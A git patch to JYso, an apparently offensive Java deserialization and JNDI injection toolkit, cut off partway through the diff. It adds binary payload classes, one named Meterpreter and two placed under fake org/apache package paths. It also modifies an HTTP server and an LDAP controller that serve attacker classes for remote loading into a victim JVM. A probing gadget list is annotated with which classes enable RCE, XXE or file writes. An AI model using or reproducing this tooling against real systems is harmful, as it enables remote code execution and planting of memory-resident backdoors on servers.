From 192a0ac085a14a67b968070849a75c8ce4c6813a Mon Sep 17 00:00:00 2001 From: Your Name Date: Mon, 21 Oct 2024 15:29:04 +0800 Subject: [PATCH] fix(HTTPServer.java): Bug fixes --- README.md | 1 + build.gradle | 2 +- data/Meterpreter.class | Bin 0 -> 4896 bytes .../shared/util/SelectItemsIterator.class | Bin 0 -> 4767 bytes org/apache/logging/xerces/xs/XSObject.class | Bin 0 -> 9928 bytes src/main/java/com/qi4l/JYso/HTTPServer.java | 15 +- src/main/java/com/qi4l/JYso/Starter.java | 7 +- .../JYso/controllers/BasicController.java | 7 +- .../java/com/qi4l/JYso/gadgets/URLDNS.java | 147 +++++++++++++++--- .../com/qi4l/JYso/gadgets/utils/Gadgets.java | 45 +++--- .../qi4l/JYso/gadgets/utils/Serializer.java | 1 + .../JYso/template/echoStatic/Meterpreter.java | 9 +- src/test/java/Main.java | 12 +- 13 files changed, 185 insertions(+), 61 deletions(-) create mode 100644 data/Meterpreter.class create mode 100644 org/apache/catalina/shared/util/SelectItemsIterator.class create mode 100644 org/apache/logging/xerces/xs/XSObject.class diff --git a/README.md b/README.md index 83597c1..ea7ddb4 100644 --- a/README.md +++ b/README.md @@ -82,4 +82,5 @@ JYso 是 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) 中 - https://tttang.com/archive/1405/#toc_groovyclassloader - https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F - https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html +- https://github.com/mbechler/marshalsec diff --git a/build.gradle b/build.gradle index 45b7573..60547b1 100644 --- a/build.gradle +++ b/build.gradle @@ -21,7 +21,7 @@ shadowJar { attributes 'Main-Class': 'com.qi4l.JYso.Starter' } zip64=true - minimize() + //minimize() } dependencies { diff --git a/data/Meterpreter.class b/data/Meterpreter.class new file mode 100644 index 0000000000000000000000000000000000000000..a083bdfba6cfc9b0db4e69e973a3af26f58c8869 GIT binary patch literal 4896 zcmaJ_d3+S*8Ga_&-PzqN5Eeq5iV#z@$wCqlL=q@x00TLYMeLGNIwX^1Vc7}0vs_gx z)~nWPTT78zwTCUGr4|r2VnpeMt+loHW$(+{!ybS2_iNEU@67D(Y)Jiu%s2CW@AtmX z`@F~Zh38*;>KOp@@h=5cU4~_3hBNY1p(v=?uJ6`cQhIu@Wo1gwW;;#2UzRErL`zE> za_O|bEoG?iD+nx3rjynZ1(gkrn-us~n*D}?Nu9~G(Vg45&B$yNQSR?F`}EW%J(HAg zchYAKC9?`9bb5d+iaJAzoCzyrr|Q^i6$J!n`f_E`p_;A?2?T@gVW7KPD@#R?|d4tR~IkW3lQ zk?w_FKYF%pH~Oqa9?#qvFOBY01k12IjHOsXo+VOsW~NSJQJ2itIWcTkfFM@W4`WwO zPZ3+qIMy0BlZX<>tM>L8!&cHvt5~Z*Vb0cg@Dx`Ws4AOG2Tpk`U5G(Ur<-I(!IfUa zh0OKnb*Cb@9vdVn<3ZFptj33oREm*HrpXt@41MR^BBrF-(ovcxrihudigK(N#{|WC zJoA)Ow)3}x!OB`01~-s3`*sM<$M?PVj`W||f$mEvl4 zp^dRJenbTFe!NRUf0Kf6G0m8>b*0?2yK%Q^tu}M%{-TVEcNc{rf2BbP!#l0+-X?@bwFVdr+-b3d2wwMln?%uz@m@1`Xf@_odbxSWJTPyn8UcMwr z$k+xxs8P40o$;&CHrMw;f48IZI@!1;mJ;QdeUCXq3rb8H(WS@ zrjB)dacl`K))o?c40aVCDdc#`eH9Oubw{TOsQ9Rg`y_peM0jAj4g29R4&f06svHZf zjR-z28GZ<#U`ol{YMx1?#oy4oLNeu3cuZD5&FJk)oarYmDi>_?Q&~kNwwlHJZ%>DrR>XW z1e)XBtIV0WnalJUtCMnxt@hkgn}vB?&b0P{O!FrwdCt3aP*TVqnH(Gyxis1%?}{8N z4Ys7<}+YVR-uaT5l4XI1b&53jmeym%^g%)!EwSU zDiR~4eRdv~l$1ATnoaFsZ=W%=)9{|ql{ph5Q|=V8Z+%@ zy{HwZ-i%qU*dtUg*4tyJF!MYbInD{nl4s5`UD zorx)@DY51_^;D7?pq?;*22A7)wiYp5irIY5;ia|-i%HjV(kQHmBeitm3S4P}ZFl*3 z3)g(8Xqw2`>&TG9)cw>hWXy`qK8K|=8H+{N=dn@Ti$!m+-|CMb&{cWNcg)r|ousXE zG0kAWfNO|s0g1bofojFyo+o+b(F0mrcQL(tju!p&?dUkL!E+5Ma5PX>x5sH z5(OoUuMlv6<7%Z-=^DjgLYN%E_B_%{_&T%Ar?mMs-+4?Lg^|#FmyKW-C;WNjI_0^K zo9y_{o-=}*B~T8P%{H*5w6csAmXoX%jPgptZ)XOtBB5(Ak0iB{rd3#LOD}PdxZo=& zc_ZFNv_9@lU^8`1;htW+oi;RT*uvcQQDY46z*c6HIH^H-ol5~at3p@Nr>JOEd1C@@ z;ja|VI`YW-k3&FZ9chSg<-#ZqC1#J{(Kesv%j1&^{5AfkgKYuLrv>u(Oia-Nl{Iwu zbKS9~JRY}Y5)1qfzy1Y^i0Vl?rDd^7XfLZdjF&_a2f z8^M>J)znHY7(a=xwuQ8i2%mR^`7Od>TR2=4_Guvsf1@p|g+=(AjxfJPxXKo;Dhm6x zaJ(t{f~My29Zg_8l&I8v@q}+qJmL4BMQfrmx`v;8#Pj$O>%!N4g2eQY;VnF#Zo*x- zhvQM4!U#v;-}n!1qlA>mJxn@KHjMRb1shlfaaQ?87R(K3W?r>2W=k2hRgBnLYV2XO zHZwX~__LL9NMt8X>7T#4KKiP%(>D9F|EH52^SVKfu>p zC%(=C2>)N1GO?;R67xvTM`ck`jNIm}8{TRO-sx&d)=vc?SI6@B=@C?Qp2V-%b^maJ z>r!XzG;S-HMsmSm`6o>&UFeuvF_0Sm zNLHPW$&+xC_z}e4ihi%*E0DDA*9{>OV literal 0 HcmV?d00001 diff --git a/org/apache/catalina/shared/util/SelectItemsIterator.class b/org/apache/catalina/shared/util/SelectItemsIterator.class new file mode 100644 index 0000000000000000000000000000000000000000..ce4a64226bf3fceb391e375a833459a161786b00 GIT binary patch literal 4767 zcmbVPd3YRU9e%&rV`ev-G})4t0ZXV9NJ5hZYE!yR&orfhB*i8c(jqX~Opljt%tX3A-E%%L0~ zw&7T|3L#Lr(b#MxGDdbFv8Hz;SyTiB!p-Sy+F2qHsI6Nk5NxsfOo8Jjc{{DHd}?r2 z+RXH|Zb_NLPTI<<&;)9ZSliWGy2t~A%&JIYD)l2Eq9$R*M=)}Jv3xLhv~8nCTA z4bSws<{3Lv5-1SPSVo^oqka|_v38drb@mJBJ_WYfFUu<776R$22F(yfGhBNO&oYVKv&M*jdDfVl7tIF}FBAe2$d%kru_!jt(i^DWFMd**i>Z zi8*(ZtmojpGN82@8rj8@fV*@R?<1a6vC>Rs1Hc~PuG z4^hjR&hnJ(wzNAXg0<`G*2S;^=SQ&s?`Mn9n!rhZ1I0e{8z^qYa3L;|f(9#?f}O?? z2TW-uitfdbLZ1YM3_){?nbN@i(o#g$NM{Mpv3`>+9Kc=X#d$NEG8fgYk0FhXQ8Z%{ zg$EsHSi=z8&M|Bn)nIWFOd_{7pUujVr-DNxEc<58sTycO9W=6i8PnE~ClHkE$`6}1 zfz9P&7?F8chbHz@^{`2#MZYz7*xg9UQ7m@H~G+rLFKzgN49-8FxkL<7q}|MHf>+upYu*3HZZg?z7Id(++F-k>XvXF`Kqr zoL1!f`(-_Rn>I#lgB|)9`DLTG4E4qEga`PON1SiPgsFI{s4u~!wPg?A4pcl%Emp2E z%gLhQ`=zJL)*NqTDxUQk?Ht=;JIi`2nO>ze;ojGZTQNM3A4KsSUT{%rw?<66#mJd4 z{7{anX8eeyJCe?7_z4%Op*{^S5%mN|*UwqRiQaTJ(QD)eHT;6x4cz`!NilN}Iq4zJ zpvYCL|4J+E*-unmsDQW*=lI3lSEF{Un_#eC; z#eTfONV}}OoibOYcLQhfhzcy7~mdqsnEvT0nnN)3x|u0hw(m=PK*2 zNWD-}yW+zodgWekGNMNwfxS)YSg1!Nms85cJ(o+8HoK%z%uGgI-U7DrQ{0~LS5hV< zB=rMDp{k-#abqg>_@!^Ry$?(HNk#)rWz}VRbT>XMI5scWqt#`*@eu{dm>!e9U0Ev1 zz20QGUM@*j2Oh$@0qhV zqAOV$|Bh$7O0SAP?lH%Al02qYc`kc~BpMMfvI&({Q>Y9!AA2in1d%Jt#OR@|-b=+O zLP_mgYvNZ z8&viy&ypTM1v};tmhu^9=V*LJxF5w))KY^OPUPD>axFn6T2V!fadcxkHj!fl)x6%! zz}1+E8*nrSzK%O_483|6{i>m7vv?95hi7m+USw~+j1%bRN%V9MUZdtiI9UWyE6PzP zbkvI)oFW=AS1d+@Sk23AH~%rL$EhNP)5N9x<8deEiS7KC@e<~X16Uwl!5QK;EL0XC zsq|neBVVLkfM#U?i5vk#9>Q=JEWi~OtT4~0+$rllg;wEA=haNO3w-BLO z%tx61o`jP*&&rj3s6`zo-cibK)Z-N9uZ9uMMFVp;PuYe>Bslvx?QkkiV^que-GS{G%vZ5MC3L_+%uta$h+|Zub`U432&Pp;reDNI`CB+$#S$?t>QVVNS&C7H z{F24};fkMS;9J>2tl`@m5aHJm3Xjv_DXf#R{GenHzKM|J;nIDSgEh$OmN&tf4_@0C zN2q=b-`&oIB=d4mBp+bt9Q3%hUfhLfJ%@+eI-5m%{FyPlSiq0tKjmb;6*@b#p%%82{4A literal 0 HcmV?d00001 diff --git a/org/apache/logging/xerces/xs/XSObject.class b/org/apache/logging/xerces/xs/XSObject.class new file mode 100644 index 0000000000000000000000000000000000000000..709a1b5a80defca6da9a9a8eca5ca6f91e8e05bb GIT binary patch literal 9928 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 Y75?B;#E^Iv9R$6WaW(cbzfxTCSBVi%ng9R* literal 0 HcmV?d00001 diff --git a/src/main/java/com/qi4l/JYso/HTTPServer.java b/src/main/java/com/qi4l/JYso/HTTPServer.java index 2837524..8ddb9dd 100644 --- a/src/main/java/com/qi4l/JYso/HTTPServer.java +++ b/src/main/java/com/qi4l/JYso/HTTPServer.java @@ -20,6 +20,7 @@ import java.io.FileInputStream; import java.io.IOException; import java.net.InetSocketAddress; import java.nio.charset.StandardCharsets; +import java.util.Arrays; import java.util.HashMap; import java.util.Map; import java.util.jar.JarOutputStream; @@ -41,6 +42,8 @@ public class HTTPServer { System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); String qi = String.valueOf(httpExchange.getRequestURI()); + + if (qi.contains("setPathAlias")) { Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); @@ -48,6 +51,7 @@ public class HTTPServer { Config.ROUTE = qi.substring(qi.indexOf("=") + 1); System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); } + String path = httpExchange.getRequestURI().getPath(); if (path.endsWith(".class")) { handleClassRequest(httpExchange); @@ -435,16 +439,13 @@ public class HTTPServer { String path = exchange.getRequestURI().getPath(); String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); - if (Cache.contains(className)) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); byte[] bytes = Cache.get(className); exchange.sendResponseHeaders(200, bytes.length); - //这一步返回http请求 exchange.getResponseBody().write(bytes); - } else {//找不到就从/org目录下照 - //String pa = cwd + File.separator + "org"; + } else { String pa = cwd + path; File file = new File(pa); @@ -454,9 +455,11 @@ public class HTTPServer { fileInputStream.read(bytes); } exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); + exchange.sendResponseHeaders(200, file.length()); exchange.getResponseBody().write(bytes); - System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200)); + + System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200)); + System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); diff --git a/src/main/java/com/qi4l/JYso/Starter.java b/src/main/java/com/qi4l/JYso/Starter.java index ce039f5..b9f3e7c 100644 --- a/src/main/java/com/qi4l/JYso/Starter.java +++ b/src/main/java/com/qi4l/JYso/Starter.java @@ -8,6 +8,7 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial; public class Starter { + // 用于存储所有的ObjectPayload类 public static CaseInsensitiveMap> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap(); static { for (Class clazz : ObjectPayload.Utils.getPayloadClasses()) { @@ -21,8 +22,10 @@ public class Starter { String logo = "" + " ┏┳┓┏ \n" + " ┃┗┫┏┏┓ \n" + - " ┗┛┗┛┛┗┛ version: 1.33"; + " ┗┛┗┛┛┗┛ "; System.out.println(logo); + + // 如果参数中包含-j，则启动LDAP、HTTP、RMI服务 if (args.length > 0 && args[0].equals("-j")) { Config.applyCmdArgs(args); if (Config.TLSProxy) { @@ -32,6 +35,8 @@ public class Starter { HTTPServer.start(); RMIServer.start(); } + + // 如果参数中包含-y，则启动ysoserial if (args.length > 0 && args[0].equals("-y")) { JYsoMode = true; ysoserial(args); diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index da3e6ef..12d5ed9 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -20,9 +20,6 @@ import java.util.Base64; import static org.fusesource.jansi.Ansi.ansi; -/** - * 本地工厂类加载 - */ @LdapMapping(uri = {"/basic"}) public class BasicController implements LdapController { private static String payloadType; @@ -61,12 +58,12 @@ public class BasicController implements LdapController { } String className1 = className.replaceAll("\\.", "/"); + URL turl = new URL(new URL(this.codebase), className1 + ".class"); System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl)); - System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); e.addAttribute("javaClassName", "foo"); e.addAttribute("javaCodeBase", this.codebase); - e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ + e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", className); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java index f259580..d861f92 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -37,8 +37,85 @@ import java.util.List; @Authors({Authors.GEBL}) public class URLDNS implements ObjectPayload { public static String[] defaultClass = new String[]{ - "CommonsCollections13567", "CommonsCollections24", "CommonsBeanutils2", "C3P0", "AspectJWeaver", "bsh", - "Groovy", "Becl", "Jdk7u21", "JRE8u20", "winlinux", "jackson2100", "ROME", "SpringAOP"}; + "CommonsCollections13567", + "CommonsCollections24", + "CommonsBeanutils2", + "C3P0", + "AspectJWeaver", + "bsh", + "Groovy", + "Becl", + "DefiningClassLoader", + "Jdk7u21", + "JRE8u20", + "ROME", + "Fastjson", + "Jackson", + "SpringAOP", + "winlinux", + "jdk17_22", + "jdk9_22", + "jdk6_8", + "jdk6_11", + "jdk9_10", + }; + + public static String[] jndidefaultclass = { + //"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",//知名getter=classloader,jdk默认就有 + + "org.apache.naming.factory.BeanFactory",//最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法 + "org.apache.catalina.filters.CsrfPreventionFilter$NonceCache",//tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString + "javax.el.ELProcessor",//和BeanFactory最经典的配合 + //"groovy.lang.GroovyShell",//有Groovy所以可以省略了 + //"groovy.lang.GroovyClassLoader",//有Groovy所以可以省略了 + "org.yaml.snakeyaml.Yaml",//知名YAML序列化,可以跟BeanFactory配合 + "com.thoughtworks.xstream.XStream",//知名XML序列化,可以跟BeanFactory配合 + //"org.xmlpull.v1.XmlPullParserException",//XStream依赖 + //"org.xmlpull.mxp1.MXParser",//XStream依赖 + "org.mvel2.sh.ShellSession",//mvel语法,可以跟BeanFactory配合 + //"com.sun.glass.utils.NativeLibLoader",//加载dll或者so,jdk默认就有 + + "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory",//高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性 + "org.apache.commons.configuration.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.commons.configuration2.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.groovy.util.SystemUtil",//groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.batik.swing.JSVGCanvas",//远程加载svg造成XSS,XXE,RCE + + "org.apache.catalina.users.MemoryUserDatabaseFactory",//配合UserDatabase可以XXE,写文件 + "org.apache.catalina.UserDatabase",//配合MemoryUserDatabaseFactory可以XXE,写文件 + + "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",//以下均为DataSourceFactory,可以造成jdbc + "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", + "org.apache.commons.dbcp.BasicDataSourceFactory", + //"org.apache.commons.pool.KeyedObjectPoolFactory",//commons-dbcp1依赖 + "org.apache.commons.dbcp2.BasicDataSourceFactory", + //"org.apache.commons.pool2.PooledObjectFactory",//commons-dbcp2依赖 + "org.apache.tomcat.jdbc.pool.DataSourceFactory", + //"org.apache.juli.logging.LogFactory",//tomcat-jdbc依赖 + "com.alibaba.druid.pool.DruidDataSourceFactory", + "com.zaxxer.hikari.HikariJNDIFactory", + //"org.slf4j.LoggerFactory",//HikariCP依赖 + "org.h2.Driver",//h2 jdbc,可以RCE + "org.postgresql.Driver",//postgresql,可以远程加载XML执行SPEL,可以写文件 + "org.springframework.context.support.ClassPathXmlApplicationContext",//postgresql RCE依赖spring环境 + "com.mysql.jdbc.Driver",//mysql,可以二次反序列化,可以读文件,可以XXE + "com.mysql.cj.jdbc.Driver", + "com.mysql.fabric.jdbc.FabricMySQLDriver", + "oracle.jdbc.driver.OracleDriver",//oracle,可以带出机器用户名 + "com.ibm.db2.jcc.DB2Driver",//db2,可以写文件 + "COM.ibm.db2.jcc.DB2Driver", + + "com.ibm.ws.webservices.engine.client.ServiceFactory",//WebSphere的ObjectFactory,可以远程加载jar,很少用到 + "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", + + + "oracle.ucp.jdbc.PoolDataSourceImpl",//反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖 + //"com.mchange.v2.c3p0.DriverManagerDataSource",//有C3P0所以可以省略了 + //"com.mchange.v2.c3p0.test.FreezableDriverManagerDataSource",//有C3P0所以可以省略了 + //"com.alibaba.druid.pool.xa.DruidXADataSource",//有com.alibaba.druid.pool.DruidDataSourceFactory所以可以省略了 + "org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl",//hibernate-core-4.x,比较低版本才有的类 + + }; public static List list = new LinkedList(); @@ -135,22 +212,6 @@ public class URLDNS implements ObjectPayload { Object JRE8u20 = getURLDNSGadget("JRE8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); list.add(JRE8u20); break; - case "winlinux": - //windows/linux版本判断 - Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); - Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); - list.add(linux); - list.add(windows); - break; - case "jackson2100": - //jackson-databind>=2.10.0存在一个链 - Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization"); - list.add(jackson2100); - break; - case "fastjson": - Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); - list.add(fastjson); - break; case "ROME": //rome <= 1.11.1 Object rome1000 = getURLDNSGadget("rome1000." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); @@ -158,16 +219,59 @@ public class URLDNS implements ObjectPayload { list.add(rome1000); list.add(rome1111); break; + case "Fastjson": + Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); + list.add(fastjson); + break; + case "Jackson": + //jackson-databind>=2.10.0存在一个链 + //此链实战中有50%概率触发getStylesheetDOM导致不成功,因此需要org.springframework.aop.framework.JdkDynamicAopProxy封装,这个类的jar包和springAOP一样 + Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization"); + list.add(jackson2100); + break; case "SpringAOP": - //fastjon/jackson两个链的变种都需要springAOP + //fastjon/jackson两个链触发toString的变种,都需要springAOP Object springAOP = getURLDNSGadget("SpringAOP." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource"); list.add(springAOP); break; + case "winlinux": + //windows/linux版本判断 + Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); + Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); + list.add(linux); + list.add(windows); + break; + case "jdk17_22": + Object jdk17_22 = getURLDNSGadget("jdk17_22." + dnsLog, "jdk.internal.util.random.RandomSupport"); + list.add(jdk17_22); + break; + case "jdk9_22": + Object jdk9_22 = getURLDNSGadget("jdk9_22." + dnsLog, "jdk.internal.misc.Unsafe"); + list.add(jdk9_22); + break; + case "jdk6_8": + Object jdk6_8 = getURLDNSGadget("jdk6_8." + dnsLog, "sun.misc.BASE64Decoder"); + list.add(jdk6_8); + break; + case "jdk6_11": + Object jdk6_11 = getURLDNSGadget("jdk6_11." + dnsLog, "com.sun.awt.SecurityWarning"); + list.add(jdk6_11); + break; + case "jdk9_10": + Object jdk9_10 = getURLDNSGadget("jdk9_10." + dnsLog, "jdk.incubator.http.HttpClient"); + list.add(jdk9_10); + break; + case "all": for (int i = 0; i < defaultClass.length; i++) { setList(defaultClass[i], dnsLog); } break; + case "jndiall": + for (int i = 0; i < jndidefaultclass.length; i++) { + setList(jndidefaultclass[i], dnsLog); + } + break; default: Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName); list.add(hm); @@ -200,6 +304,11 @@ public class URLDNS implements ObjectPayload { setList("all", url); break; + // jndi 时会测试JNDI相关的类 + case "jndiall": + setList("jndiall", url); + break; + case "null": return getURLDNSGadget(url, null); // 默认指定类 diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index f2d7120..093fec9 